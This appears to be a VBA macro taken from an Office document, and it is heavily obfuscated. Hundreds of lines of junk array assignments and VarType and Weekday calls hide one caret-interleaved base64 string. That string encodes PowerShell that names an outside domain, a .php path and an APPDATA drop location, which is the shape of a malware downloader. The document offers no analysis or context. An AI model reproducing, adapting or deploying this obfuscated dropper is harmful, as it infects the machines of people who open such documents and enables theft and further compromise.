If "JYzfYjERihytY" <> CStr("JYzfYjERihytY4584") Then
   hOpeKevaFipeVtEquxOruLYS(0) = VarType(VarType(VarType("JYzfYjERihytY")))
End If
hOpeKevaFipeVtEquxOruLYS(1) = CInt(CStr("#4584"))
VarType JYzfYjERihytY
VarType hOpeKevaFipeVtEquxOruLYS
If LenB(hOpeKevaFipeVtEquxOruLYS(1)) > 10 Then
  hOpeKevaFipeVtEquxOruLYS(2) = Weekday(45848)
End If
hOpeKevaFipeVtEquxOruLYS(3) = VarType(hOpeKevaFipeVtEquxOruLYS)
Dim JuMeMeXAHAZeMymuteTIRuBAxUXAzav(4)
If "QaSUpUcoRiaeQiqykiqaZIfE" <> CStr("QaSUpUcoRiaeQiqykiqaZIfE2505") Then
   JuMeMeXAHAZeMymuteTIRuBAxUXAzav(0) = VarType(VarType(VarType("QaSUpUcoRiaeQiqykiqaZIfE")))
End If
JuMeMeXAHAZeMymuteTIRuBAxUXAzav(1) = CInt(CStr("#2505"))
VarType QaSUpUcoRiaeQiqykiqaZIfE
VarType JuMeMeXAHAZeMymuteTIRuBAxUXAzav
If LenB(JuMeMeXAHAZeMymuteTIRuBAxUXAzav(1)) > 13 Then
  JuMeMeXAHAZeMymuteTIRuBAxUXAzav(2) = Weekday(25053)
End If
JuMeMeXAHAZeMymuteTIRuBAxUXAzav(3) = VarType(JuMeMeXAHAZeMymuteTIRuBAxUXAzav)
VarType VUMEkuaykAXFYLWeGeDARuSYfApANid
If LenB(VUMEkuaykAXFYLWeGeDARuSYfApANid(1)) > 10 Then
  VUMEkuaykAXFYLWeGeDARuSYfApANid(2) = Weekday(80532)
End If
Dim SaSaIDEtiiIPirImVBSOPEtEtiQIdE(4)
If "afEPiKOPaiTu" <> CStr("afEPiKOPaiTu4827") Then
   SaSaIDEtiiIPirImVBSOPEtEtiQIdE(0) = VarType(VarType(VarType("afEPiKOPaiTu")))
End If
SaSaIDEtiiIPirImVBSOPEtEtiQIdE(1) = CInt(CStr("#4827"))
VarType afEPiKOPaiTu
VarType SaSaIDEtiiIPirImVBSOPEtEtiQIdE
If LenB(SaSaIDEtiiIPirImVBSOPEtEtiQIdE(1)) > 13 Then
  SaSaIDEtiiIPirImVBSOPEtEtiQIdE(2) = Weekday(48273)
End If
SaSaIDEtiiIPirImVBSOPEtEtiQIdE(3) = VarType(SaSaIDEtiiIPirImVBSOPEtEtiQIdE)
VUMEkuaykAXFYLWeGeDARuSYfApANid(3) = VarType(VUMEkuaykAXFYLWeGeDARuSYfApANid)
Dim GEQOQIhwonOFEPuVekIbivruwIRucCyG(4)
If "DEBInylyWODEMT" <> CStr("DEBInylyWODEMT613") Then
   GEQOQIhwonOFEPuVekIbivruwIRucCyG(0) = VarType(VarType(VarType("DEBInylyWODEMT")))
End If
GEQOQIhwonOFEPuVekIbivruwIRucCyG(1) = CInt(CStr("#613"))
VarType DEBInylyWODEMT
VarType GEQOQIhwonOFEPuVekIbivruwIRucCyG
If LenB(GEQOQIhwonOFEPuVekIbivruwIRucCyG(1)) > 11 Then
  GEQOQIhwonOFEPuVekIbivruwIRucCyG(2) = Weekday(6137)
End If
GEQOQIhwonOFEPuVekIbivruwIRucCyG(3) = VarType(GEQOQIhwonOFEPuVekIbivruwIRucCyG)
Dim meSojirUnUZoMAgEFETygeXucyQeFaPOSIiOvaxiBUmOSy(4)
If "toOqiiANaxugiBUxYQ" <> CStr("toOqiiANaxugiBUxYQ7261") Then
   meSojirUnUZoMAgEFETygeXucyQeFaPOSIiOvaxiBUmOSy(0) = VarType(VarType(VarType("toOqiiANaxugiBUxYQ")))
End If
meSojirUnUZoMAgEFETygeXucyQeFaPOSIiOvaxiBUmOSy(1) = CInt(CStr("#7261"))
VarType toOqiiANaxugiBUxYQ
VarType meSojirUnUZoMAgEFETygeXucyQeFaPOSIiOvaxiBUmOSy
If LenB(meSojirUnUZoMAgEFETygeXucyQeFaPOSIiOvaxiBUmOSy(1)) > 13 Then
  meSojirUnUZoMAgEFETygeXucyQeFaPOSIiOvaxiBUmOSy(2) = Weekday(72615)
End If
meSojirUnUZoMAgEFETygeXucyQeFaPOSIiOvaxiBUmOSy(3) = VarType(meSojirUnUZoMAgEFETygeXucyQeFaPOSIiOvaxiBUmOSy)

Dim lUlYXOquWeZuQaciGTOBTESEwOfiiyQYhEiIiO(4)
If "SyWExuZVEziWekAPo" <> CStr("SyWExuZVEziWekAPo8523") Then
   lUlYXOquWeZuQaciGTOBTESEwOfiiyQYhEiIiO(0) = VarType(VarType(VarType("SyWExuZVEziWekAPo")))
End If
lUlYXOquWeZuQaciGTOBTESEwOfiiyQYhEiIiO(1) = CInt(CStr("#8523"))
VarType SyWExuZVEziWekAPo
VarType lUlYXOquWeZuQaciGTOBTESEwOfiiyQYhEiIiO
If LenB(lUlYXOquWeZuQaciGTOBTESEwOfiiyQYhEiIiO(1)) > 11 Then
  lUlYXOquWeZuQaciGTOBTESEwOfiiyQYhEiIiO(2) = Weekday(85235)
End If
lUlYXOquWeZuQaciGTOBTESEwOfiiyQYhEiIiO(3) = VarType(lUlYXOquWeZuQaciGTOBTESEwOfiiyQYhEiIiO)
Dim iEZetoREnikEVELaQuFEgkamYjutEFAzOGeli(4)
If "dELYhJycUhUqIfYlaW" <> CStr("dELYhJycUhUqIfYlaW8222") Then
Dim nYqUJneQiFeviEVuFUVATuRIlYQamIS(4)
If "poTYjaHALaZukEGeZ" <> CStr("poTYjaHALaZukEGeZ3642") Then
   nYqUJneQiFeviEVuFUVATuRIlYQamIS(0) = VarType(VarType(VarType("poTYjaHALaZukEGeZ")))
End If
nYqUJneQiFeviEVuFUVATuRIlYQamIS(1) = CInt(CStr("#3642"))
VarType poTYjaHALaZukEGeZ
VarType nYqUJneQiFeviEVuFUVATuRIlYQamIS
If LenB(nYqUJneQiFeviEVuFUVATuRIlYQamIS(1)) > 10 Then
  nYqUJneQiFeviEVuFUVATuRIlYQamIS(2) = Weekday(36424)
End If
nYqUJneQiFeviEVuFUVATuRIlYQamIS(3) = VarType(nYqUJneQiFeviEVuFUVATuRIlYQamIS)
   iEZetoREnikEVELaQuFEgkamYjutEFAzOGeli(0) = VarType(VarType(VarType("dELYhJycUhUqIfYlaW")))
Dim feYpIFUkoaUfYgUWYbFaOguSazYSEv(4)
If "QYZoloHUGuZogiPomAni" <> CStr("QYZoloHUGuZogiPomAni7517") Then
   feYpIFUkoaUfYgUWYbFaOguSazYSEv(0) = VarType(VarType(VarType("QYZoloHUGuZogiPomAni")))
End If
feYpIFUkoaUfYgUWYbFaOguSazYSEv(1) = CInt(CStr("#7517"))
VarType QYZoloHUGuZogiPomAni
VarType feYpIFUkoaUfYgUWYbFaOguSazYSEv
If LenB(feYpIFUkoaUfYgUWYbFaOguSazYSEv(1)) > 10 Then
  feYpIFUkoaUfYgUWYbFaOguSazYSEv(2) = Weekday(75179)
End If
feYpIFUkoaUfYgUWYbFaOguSazYSEv(3) = VarType(feYpIFUkoaUfYgUWYbFaOguSazYSEv)
Dim XamAvECOhOGUCIngygiQEVirFEhUh(4)
If "WuMUTeWIcusIFANEJyqOf" <> CStr("WuMUTeWIcusIFANEJyqOf8368") Then
   XamAvECOhOGUCIngygiQEVirFEhUh(0) = VarType(VarType(VarType("WuMUTeWIcusIFANEJyqOf")))
End If
XamAvECOhOGUCIngygiQEVirFEhUh(1) = CInt(CStr("#8368"))
VarType WuMUTeWIcusIFANEJyqOf
VarType XamAvECOhOGUCIngygiQEVirFEhUh
If LenB(XamAvECOhOGUCIngygiQEVirFEhUh(1)) > 12 Then
  XamAvECOhOGUCIngygiQEVirFEhUh(2) = Weekday(83686)
End If
XamAvECOhOGUCIngygiQEVirFEhUh(3) = VarType(XamAvECOhOGUCIngygiQEVirFEhUh)
End If
iEZetoREnikEVELaQuFEgkamYjutEFAzOGeli(1) = CInt(CStr("#8222"))
Dim TanaWYMevoPyaoLjObOVIT(4)
If "iitoVixiGYWyQEHYdoVaMI" <> CStr("iitoVixiGYWyQEHYdoVaMI5319") Then
   TanaWYMevoPyaoLjObOVIT(0) = VarType(VarType(VarType("iitoVixiGYWyQEHYdoVaMI")))
End If
TanaWYMevoPyaoLjObOVIT(1) = CInt(CStr("#5319"))
VarType iitoVixiGYWyQEHYdoVaMI
VarType TanaWYMevoPyaoLjObOVIT
If LenB(TanaWYMevoPyaoLjObOVIT(1)) > 11 Then
  TanaWYMevoPyaoLjObOVIT(2) = Weekday(53194)
End If
TanaWYMevoPyaoLjObOVIT(3) = VarType(TanaWYMevoPyaoLjObOVIT)
VarType dELYhJycUhUqIfYlaW
VarType iEZetoREnikEVELaQuFEgkamYjutEFAzOGeli
If LenB(iEZetoREnikEVELaQuFEgkamYjutEFAzOGeli(1)) > 10 Then
Dim fIWOiOMALOjicEsyJibhYD(4)
If "MOMVuReLIQanAsIvoBI" <> CStr("MOMVuReLIQanAsIvoBI4395") Then
   fIWOiOMALOjicEsyJibhYD(0) = VarType(VarType(VarType("MOMVuReLIQanAsIvoBI")))
End If
fIWOiOMALOjicEsyJibhYD(1) = CInt(CStr("#4395"))
VarType MOMVuReLIQanAsIvoBI
VarType fIWOiOMALOjicEsyJibhYD
If LenB(fIWOiOMALOjicEsyJibhYD(1)) > 12 Then
  fIWOiOMALOjicEsyJibhYD(2) = Weekday(43951)
End If
fIWOiOMALOjicEsyJibhYD(3) = VarType(fIWOiOMALOjicEsyJibhYD)
Dim SeZUNEsaFylsgyvaPexAqikuBYXErhij(4)
If "rawLuNErAHA" <> CStr("rawLuNErAHA827") Then
   SeZUNEsaFylsgyvaPexAqikuBYXErhij(0) = VarType(VarType(VarType("rawLuNErAHA")))
End If
SeZUNEsaFylsgyvaPexAqikuBYXErhij(1) = CInt(CStr("#827"))
VarType rawLuNErAHA
VarType SeZUNEsaFylsgyvaPexAqikuBYXErhij
If LenB(SeZUNEsaFylsgyvaPexAqikuBYXErhij(1)) > 13 Then
  SeZUNEsaFylsgyvaPexAqikuBYXErhij(2) = Weekday(8275)
End If
SeZUNEsaFylsgyvaPexAqikuBYXErhij(3) = VarType(SeZUNEsaFylsgyvaPexAqikuBYXErhij)
  iEZetoREnikEVELaQuFEgkamYjutEFAzOGeli(2) = Weekday(82221)
Dim SIwatoLOHYiolyCiJUWAxAjyryKiLOzAvyGaROgUz(4)
If "HogAqoXureVATinI" <> CStr("HogAqoXureVATinI935") Then
   SIwatoLOHYiolyCiJUWAxAjyryKiLOzAvyGaROgUz(0) = VarType(VarType(VarType("HogAqoXureVATinI")))
End If
SIwatoLOHYiolyCiJUWAxAjyryKiLOzAvyGaROgUz(1) = CInt(CStr("#935"))
VarType HogAqoXureVATinI
VarType SIwatoLOHYiolyCiJUWAxAjyryKiLOzAvyGaROgUz
If LenB(SIwatoLOHYiolyCiJUWAxAjyryKiLOzAvyGaROgUz(1)) > 13 Then
  SIwatoLOHYiolyCiJUWAxAjyryKiLOzAvyGaROgUz(2) = Weekday(93510)
End If
SIwatoLOHYiolyCiJUWAxAjyryKiLOzAvyGaROgUz(3) = VarType(SIwatoLOHYiolyCiJUWAxAjyryKiLOzAvyGaROgUz)
Dim KOnAHOkEWOvDywekVQUmoPAUfzeHne(4)
If "MUQiNEPOioKixEF" <> CStr("MUQiNEPOioKixEF802") Then
   KOnAHOkEWOvDywekVQUmoPAUfzeHne(0) = VarType(VarType(VarType("MUQiNEPOioKixEF")))
End If
KOnAHOkEWOvDywekVQUmoPAUfzeHne(1) = CInt(CStr("#802"))
VarType MUQiNEPOioKixEF
VarType KOnAHOkEWOvDywekVQUmoPAUfzeHne
If LenB(KOnAHOkEWOvDywekVQUmoPAUfzeHne(1)) > 11 Then
  KOnAHOkEWOvDywekVQUmoPAUfzeHne(2) = Weekday(8029)
End If
KOnAHOkEWOvDywekVQUmoPAUfzeHne(3) = VarType(KOnAHOkEWOvDywekVQUmoPAUfzeHne)
End If
Dim dOioBacUjeDaPUliAJuFADUSIPUqYcINEaUsyhapy(4)
If "LkefixyrEXESexYf" <> CStr("LkefixyrEXESexYf5534") Then
   dOioBacUjeDaPUliAJuFADUSIPUqYcINEaUsyhapy(0) = VarType(VarType(VarType("LkefixyrEXESexYf")))
End If
dOioBacUjeDaPUliAJuFADUSIPUqYcINEaUsyhapy(1) = CInt(CStr("#5534"))
VarType LkefixyrEXESexYf
VarType dOioBacUjeDaPUliAJuFADUSIPUqYcINEaUsyhapy
If LenB(dOioBacUjeDaPUliAJuFADUSIPUqYcINEaUsyhapy(1)) > 12 Then
  dOioBacUjeDaPUliAJuFADUSIPUqYcINEaUsyhapy(2) = Weekday(55346)
End If
dOioBacUjeDaPUliAJuFADUSIPUqYcINEaUsyhapy(3) = VarType(dOioBacUjeDaPUliAJuFADUSIPUqYcINEaUsyhapy)
Dim duvWowYzoqTyJiaECujnIlIneFiweNiz(4)
If "dYpUnzebEWyrYfEFI" <> CStr("dYpUnzebEWyrYfEFI2092") Then
   duvWowYzoqTyJiaECujnIlIneFiweNiz(0) = VarType(VarType(VarType("dYpUnzebEWyrYfEFI")))
End If
duvWowYzoqTyJiaECujnIlIneFiweNiz(1) = CInt(CStr("#2092"))
VarType dYpUnzebEWyrYfEFI
VarType duvWowYzoqTyJiaECujnIlIneFiweNiz
If LenB(duvWowYzoqTyJiaECujnIlIneFiweNiz(1)) > 10 Then
  duvWowYzoqTyJiaECujnIlIneFiweNiz(2) = Weekday(20925)
End If
duvWowYzoqTyJiaECujnIlIneFiweNiz(3) = VarType(duvWowYzoqTyJiaECujnIlIneFiweNiz)
iEZetoREnikEVELaQuFEgkamYjutEFAzOGeli(3) = VarType(iEZetoREnikEVELaQuFEgkamYjutEFAzOGeli)

Dim nyrlCuEXukuFIcaCiqyDAWADOSYqexYLAMEmY(4)
Dim kWejIlUWOPYxeFeVuvLYriMUZAniFiR(4)
If "NALULOzigUWYd" <> CStr("NALULOzigUWYd2947") Then
   kWejIlUWOPYxeFeVuvLYriMUZAniFiR(0) = VarType(VarType(VarType("NALULOzigUWYd")))
End If
kWejIlUWOPYxeFeVuvLYriMUZAniFiR(1) = CInt(CStr("#2947"))
VarType NALULOzigUWYd
VarType kWejIlUWOPYxeFeVuvLYriMUZAniFiR
If LenB(kWejIlUWOPYxeFeVuvLYriMUZAniFiR(1)) > 11 Then
  kWejIlUWOPYxeFeVuvLYriMUZAniFiR(2) = Weekday(29473)
End If
kWejIlUWOPYxeFeVuvLYriMUZAniFiR(3) = VarType(kWejIlUWOPYxeFeVuvLYriMUZAniFiR)
If "hAdUsOtEviTtuKIbUi" <> CStr("hAdUsOtEviTtuKIbUi8268") Then
Dim VIaoMUvezawoByaYfydyGeCAsinOmogpObIg(4)
If "WAjEnoZAcqaiONeioNyT" <> CStr("WAjEnoZAcqaiONeioNyT6479") Then
   VIaoMUvezawoByaYfydyGeCAsinOmogpObIg(0) = VarType(VarType(VarType("WAjEnoZAcqaiONeioNyT")))
End If
VIaoMUvezawoByaYfydyGeCAsinOmogpObIg(1) = CInt(CStr("#6479"))
VarType WAjEnoZAcqaiONeioNyT
VarType VIaoMUvezawoByaYfydyGeCAsinOmogpObIg
If LenB(VIaoMUvezawoByaYfydyGeCAsinOmogpObIg(1)) > 10 Then
  VIaoMUvezawoByaYfydyGeCAsinOmogpObIg(2) = Weekday(64793)
End If
VIaoMUvezawoByaYfydyGeCAsinOmogpObIg(3) = VarType(VIaoMUvezawoByaYfydyGeCAsinOmogpObIg)
   nyrlCuEXukuFIcaCiqyDAWADOSYqexYLAMEmY(0) = VarType(VarType(VarType("hAdUsOtEviTtuKIbUi")))
End If
Dim JaTilYbYiArUQaPeFYCowyrEGifaRuXIQOMexihafO(4)
If "wyFaWitifomiceKovAxUXwu" <> CStr("wyFaWitifomiceKovAxUXwu9756") Then
   JaTilYbYiArUQaPeFYCowyrEGifaRuXIQOMexihafO(0) = VarType(VarType(VarType("wyFaWitifomiceKovAxUXwu")))
End If
JaTilYbYiArUQaPeFYCowyrEGifaRuXIQOMexihafO(1) = CInt(CStr("#9756"))
VarType wyFaWitifomiceKovAxUXwu
VarType JaTilYbYiArUQaPeFYCowyrEGifaRuXIQOMexihafO
If LenB(JaTilYbYiArUQaPeFYCowyrEGifaRuXIQOMexihafO(1)) > 12 Then
  JaTilYbYiArUQaPeFYCowyrEGifaRuXIQOMexihafO(2) = Weekday(97566)
End If
JaTilYbYiArUQaPeFYCowyrEGifaRuXIQOMexihafO(3) = VarType(JaTilYbYiArUQaPeFYCowyrEGifaRuXIQOMexihafO)
Dim VACIiySoDetyXCiGuzANaRyGYLoiITORyNYcG(4)
If "zIBamaFOEOHimo" <> CStr("zIBamaFOEOHimo7918") Then
   VACIiySoDetyXCiGuzANaRyGYLoiITORyNYcG(0) = VarType(VarType(VarType("zIBamaFOEOHimo")))
End If
VACIiySoDetyXCiGuzANaRyGYLoiITORyNYcG(1) = CInt(CStr("#7918"))
VarType zIBamaFOEOHimo
VarType VACIiySoDetyXCiGuzANaRyGYLoiITORyNYcG
If LenB(VACIiySoDetyXCiGuzANaRyGYLoiITORyNYcG(1)) > 10 Then
  VACIiySoDetyXCiGuzANaRyGYLoiITORyNYcG(2) = Weekday(79187)
End If
VACIiySoDetyXCiGuzANaRyGYLoiITORyNYcG(3) = VarType(VACIiySoDetyXCiGuzANaRyGYLoiITORyNYcG)
nyrlCuEXukuFIcaCiqyDAWADOSYqexYLAMEmY(1) = CInt(CStr("#8268"))
Dim iYJAMUWAVASeceNOiALozuGEaEMiM(4)
If "WEPUPaMUDyHveS" <> CStr("WEPUPaMUDyHveS2268") Then
   iYJAMUWAVASeceNOiALozuGEaEMiM(0) = VarType(VarType(VarType("WEPUPaMUDyHveS")))
End If
iYJAMUWAVASeceNOiALozuGEaEMiM(1) = CInt(CStr("#2268"))
VarType WEPUPaMUDyHveS
VarType iYJAMUWAVASeceNOiALozuGEaEMiM
If LenB(iYJAMUWAVASeceNOiALozuGEaEMiM(1)) > 12 Then
  iYJAMUWAVASeceNOiALozuGEaEMiM(2) = Weekday(22687)
End If
iYJAMUWAVASeceNOiALozuGEaEMiM(3) = VarType(iYJAMUWAVASeceNOiALozuGEaEMiM)
Dim GApoTaTobUJEdInOttyJoHebAvYho(4)
If "qeHihUXIMojiLAVuBymeg" <> CStr("qeHihUXIMojiLAVuBymeg937") Then
   GApoTaTobUJEdInOttyJoHebAvYho(0) = VarType(VarType(VarType("qeHihUXIMojiLAVuBymeg")))
End If
GApoTaTobUJEdInOttyJoHebAvYho(1) = CInt(CStr("#937"))
VarType qeHihUXIMojiLAVuBymeg
VarType GApoTaTobUJEdInOttyJoHebAvYho
If LenB(GApoTaTobUJEdInOttyJoHebAvYho(1)) > 12 Then
  GApoTaTobUJEdInOttyJoHebAvYho(2) = Weekday(93710)
End If
GApoTaTobUJEdInOttyJoHebAvYho(3) = VarType(GApoTaTobUJEdInOttyJoHebAvYho)
VarType hAdUsOtEviTtuKIbUi
Dim hEKYxIAQupUKoWuZawRaVUtUaYlIWeWIpaH(4)
If "xotuZUiOaIqAxAdyCAXANo" <> CStr("xotuZUiOaIqAxAdyCAXANo2212") Then
   hEKYxIAQupUKoWuZawRaVUtUaYlIWeWIpaH(0) = VarType(VarType(VarType("xotuZUiOaIqAxAdyCAXANo")))
End If
hEKYxIAQupUKoWuZawRaVUtUaYlIWeWIpaH(1) = CInt(CStr("#2212"))
VarType xotuZUiOaIqAxAdyCAXANo
VarType hEKYxIAQupUKoWuZawRaVUtUaYlIWeWIpaH
If LenB(hEKYxIAQupUKoWuZawRaVUtUaYlIWeWIpaH(1)) > 11 Then
  hEKYxIAQupUKoWuZawRaVUtUaYlIWeWIpaH(2) = Weekday(22121)
End If
hEKYxIAQupUKoWuZawRaVUtUaYlIWeWIpaH(3) = VarType(hEKYxIAQupUKoWuZawRaVUtUaYlIWeWIpaH)
VarType nyrlCuEXukuFIcaCiqyDAWADOSYqexYLAMEmY
If LenB(nyrlCuEXukuFIcaCiqyDAWADOSYqexYLAMEmY(1)) > 13 Then
Dim imaCyNOdiqxyWYJUgUnuBEQU(4)
If "jYVaKEgaqytureMORep" <> CStr("jYVaKEgaqytureMORep9797") Then
   imaCyNOdiqxyWYJUgUnuBEQU(0) = VarType(VarType(VarType("jYVaKEgaqytureMORep")))
End If
imaCyNOdiqxyWYJUgUnuBEQU(1) = CInt(CStr("#9797"))
VarType jYVaKEgaqytureMORep
VarType imaCyNOdiqxyWYJUgUnuBEQU
If LenB(imaCyNOdiqxyWYJUgUnuBEQU(1)) > 11 Then
  imaCyNOdiqxyWYJUgUnuBEQU(2) = Weekday(979710)
End If
imaCyNOdiqxyWYJUgUnuBEQU(3) = VarType(imaCyNOdiqxyWYJUgUnuBEQU)
  nyrlCuEXukuFIcaCiqyDAWADOSYqexYLAMEmY(2) = Weekday(82682)
Dim WEgagIZFOhaRdiSeheWVuJiiyJyEFYVUPav(4)
If "hAFUQAkcOZo" <> CStr("hAFUQAkcOZo3269") Then
   WEgagIZFOhaRdiSeheWVuJiiyJyEFYVUPav(0) = VarType(VarType(VarType("hAFUQAkcOZo")))
End If
WEgagIZFOhaRdiSeheWVuJiiyJyEFYVUPav(1) = CInt(CStr("#3269"))
VarType hAFUQAkcOZo
VarType WEgagIZFOhaRdiSeheWVuJiiyJyEFYVUPav
If LenB(WEgagIZFOhaRdiSeheWVuJiiyJyEFYVUPav(1)) > 13 Then
  WEgagIZFOhaRdiSeheWVuJiiyJyEFYVUPav(2) = Weekday(32694)
End If
WEgagIZFOhaRdiSeheWVuJiiyJyEFYVUPav(3) = VarType(WEgagIZFOhaRdiSeheWVuJiiyJyEFYVUPav)
Dim dURYFoIsUwyqYQexYXAzmiqjEJeHAHyQOtuxEIr(4)
If "SUQoweQOGYcoDii" <> CStr("SUQoweQOGYcoDii5520") Then
   dURYFoIsUwyqYQexYXAzmiqjEJeHAHyQOtuxEIr(0) = VarType(VarType(VarType("SUQoweQOGYcoDii")))
End If
dURYFoIsUwyqYQexYXAzmiqjEJeHAHyQOtuxEIr(1) = CInt(CStr("#5520"))
VarType SUQoweQOGYcoDii
VarType dURYFoIsUwyqYQexYXAzmiqjEJeHAHyQOtuxEIr
If LenB(dURYFoIsUwyqYQexYXAzmiqjEJeHAHyQOtuxEIr(1)) > 12 Then
  dURYFoIsUwyqYQexYXAzmiqjEJeHAHyQOtuxEIr(2) = Weekday(55203)
End If
dURYFoIsUwyqYQexYXAzmiqjEJeHAHyQOtuxEIr(3) = VarType(dURYFoIsUwyqYQexYXAzmiqjEJeHAHyQOtuxEIr)
End If
Dim maRyreKCIjviVcIHocodyBEbAFu(4)
If "iARONySCAgYry" <> CStr("iARONySCAgYry5350") Then
   maRyreKCIjviVcIHocodyBEbAFu(0) = VarType(VarType(VarType("iARONySCAgYry")))
End If
maRyreKCIjviVcIHocodyBEbAFu(1) = CInt(CStr("#5350"))
VarType iARONySCAgYry
VarType maRyreKCIjviVcIHocodyBEbAFu
If LenB(maRyreKCIjviVcIHocodyBEbAFu(1)) > 10 Then
  maRyreKCIjviVcIHocodyBEbAFu(2) = Weekday(53505)
End If
maRyreKCIjviVcIHocodyBEbAFu(3) = VarType(maRyreKCIjviVcIHocodyBEbAFu)
nyrlCuEXukuFIcaCiqyDAWADOSYqexYLAMEmY(3) = VarType(nyrlCuEXukuFIcaCiqyDAWADOSYqexYLAMEmY)
aumEjIWiHACyKIDINABoJuDiCAaomerUxa = "^A^Z^A^B^o^A^H^E^A^b^w^B^z^A^H^A^A^Z^A^B^q^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^E^8^A^T^A^A^v^A^G^4^A^Z^Q^B^y^A^G^" + Chr(100 + 10 + 5) + "^A^b^w^B^t^A^C^4^A^c^A^B^o^A^H^A^A^" + Chr(40 * 2) + "^w^B^" + Chr(100 + 10 + 5) + "^A^D^0^A^Y^g^B^l^A^G^U^A^c^Q^A^y^A^C^4^A^c^A^B^v^A^G^Q^A^I^g^A^" + Chr(100 + 10 + 5) + "^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^D^I^A^N^w^A^3^A^D^I^A^O^Q^A^z^A^D^E^A^O^Q^A^y^A^D^Y^A^M^Q^A^1^A^D"
Dim NlONibOKAmeNyiIVInOqOwoGoSUCAvYKIGAbaxI(4)
If "aOnOjaigaQeXOBIQUVuxoj" <> CStr("aOnOjaigaQeXOBIQUVuxoj6771") Then
   NlONibOKAmeNyiIVInOqOwoGoSUCAvYKIGAbaxI(0) = VarType(VarType(VarType("aOnOjaigaQeXOBIQUVuxoj")))
End If
NlONibOKAmeNyiIVInOqOwoGoSUCAvYKIGAbaxI(1) = CInt(CStr("#6771"))
VarType aOnOjaigaQeXOBIQUVuxoj
VarType NlONibOKAmeNyiIVInOqOwoGoSUCAvYKIGAbaxI
If LenB(NlONibOKAmeNyiIVInOqOwoGoSUCAvYKIGAbaxI(1)) > 13 Then
  NlONibOKAmeNyiIVInOqOwoGoSUCAvYKIGAbaxI(2) = Weekday(67711)
End If
NlONibOKAmeNyiIVInOqOwoGoSUCAvYKIGAbaxI(3) = VarType(NlONibOKAmeNyiIVInOqOwoGoSUCAvYKIGAbaxI)
Dim saQoqMIMejOzybaRahYBmUxemyNisnEt(4)
If "ZImumIXYZOQaminEb" <> CStr("ZImumIXYZOQaminEb6203") Then
   saQoqMIMejOzybaRahYBmUxemyNisnEt(0) = VarType(VarType(VarType("ZImumIXYZOQaminEb")))
End If
saQoqMIMejOzybaRahYBmUxemyNisnEt(1) = CInt(CStr("#6203"))
VarType ZImumIXYZOQaminEb
VarType saQoqMIMejOzybaRahYBmUxemyNisnEt
If LenB(saQoqMIMejOzybaRahYBmUxemyNisnEt(1)) > 10 Then
  saQoqMIMejOzybaRahYBmUxemyNisnEt(2) = Weekday(62035)
End If
saQoqMIMejOzybaRahYBmUxemyNisnEt(3) = VarType(saQoqMIMejOzybaRahYBmUxemyNisnEt)

Dim PINUHARavyzYTZoMiiasIHUzYlIdAmoJAzU(4)
If "JanUbYmOdiP" <> CStr("JanUbYmOdiP6092") Then
   PINUHARavyzYTZoMiiasIHUzYlIdAmoJAzU(0) = VarType(VarType(VarType("JanUbYmOdiP")))
End If
PINUHARavyzYTZoMiiasIHUzYlIdAmoJAzU(1) = CInt(CStr("#6092"))
VarType JanUbYmOdiP
VarType PINUHARavyzYTZoMiiasIHUzYlIdAmoJAzU
If LenB(PINUHARavyzYTZoMiiasIHUzYlIdAmoJAzU(1)) > 12 Then
  PINUHARavyzYTZoMiiasIHUzYlIdAmoJAzU(2) = Weekday(60927)
End If
PINUHARavyzYTZoMiiasIHUzYlIdAmoJAzU(3) = VarType(PINUHARavyzYTZoMiiasIHUzYlIdAmoJAzU)
Dim TisEhYzoJIrAjZajOgymuGISYHikisIReIHi(4)
If "JeSYviMIaohiG" <> CStr("JeSYviMIaohiG9005") Then
   TisEhYzoJIrAjZajOgymuGISYHikisIReIHi(0) = VarType(VarType(VarType("JeSYviMIaohiG")))
End If
TisEhYzoJIrAjZajOgymuGISYHikisIReIHi(1) = CInt(CStr("#9005"))
VarType JeSYviMIaohiG
VarType TisEhYzoJIrAjZajOgymuGISYHikisIReIHi
If LenB(TisEhYzoJIrAjZajOgymuGISYHikisIReIHi(1)) > 12 Then
  TisEhYzoJIrAjZajOgymuGISYHikisIReIHi(2) = Weekday(90055)
End If
TisEhYzoJIrAjZajOgymuGISYHikisIReIHi(3) = VarType(TisEhYzoJIrAjZajOgymuGISYHikisIReIHi)
Dim nEkOnzoJODItUdiBacYzArAjEw(4)
If "dIzIlSoLIjOqQyFIiiqymu" <> CStr("dIzIlSoLIjOqQyFIiiqymu9142") Then
   nEkOnzoJODItUdiBacYzArAjEw(0) = VarType(VarType(VarType("dIzIlSoLIjOqQyFIiiqymu")))
Dim JigeReSoFEWimofutirvaTOzJajeiYWYhOkM(4)
If "XYSUjadaqAmY" <> CStr("XYSUjadaqAmY9856") Then
   JigeReSoFEWimofutirvaTOzJajeiYWYhOkM(0) = VarType(VarType(VarType("XYSUjadaqAmY")))
End If
JigeReSoFEWimofutirvaTOzJajeiYWYhOkM(1) = CInt(CStr("#9856"))
VarType XYSUjadaqAmY
VarType JigeReSoFEWimofutirvaTOzJajeiYWYhOkM
If LenB(JigeReSoFEWimofutirvaTOzJajeiYWYhOkM(1)) > 12 Then
  JigeReSoFEWimofutirvaTOzJajeiYWYhOkM(2) = Weekday(98567)
End If
JigeReSoFEWimofutirvaTOzJajeiYWYhOkM(3) = VarType(JigeReSoFEWimofutirvaTOzJajeiYWYhOkM)
End If
nEkOnzoJODItUdiBacYzArAjEw(1) = CInt(CStr("#9142"))
VarType dIzIlSoLIjOqQyFIiiqymu
Dim cybnuPAdEkyQEZiSnIqEziHAdOMyPutIGDoV(4)
If "siWyMyBusYaeDIsEnUhEdK" <> CStr("siWyMyBusYaeDIsEnUhEdK4639") Then
   cybnuPAdEkyQEZiSnIqEziHAdOMyPutIGDoV(0) = VarType(VarType(VarType("siWyMyBusYaeDIsEnUhEdK")))
End If
cybnuPAdEkyQEZiSnIqEziHAdOMyPutIGDoV(1) = CInt(CStr("#4639"))
VarType siWyMyBusYaeDIsEnUhEdK
VarType cybnuPAdEkyQEZiSnIqEziHAdOMyPutIGDoV
If LenB(cybnuPAdEkyQEZiSnIqEziHAdOMyPutIGDoV(1)) > 13 Then
  cybnuPAdEkyQEZiSnIqEziHAdOMyPutIGDoV(2) = Weekday(46392)
End If
cybnuPAdEkyQEZiSnIqEziHAdOMyPutIGDoV(3) = VarType(cybnuPAdEkyQEZiSnIqEziHAdOMyPutIGDoV)
VarType nEkOnzoJODItUdiBacYzArAjEw
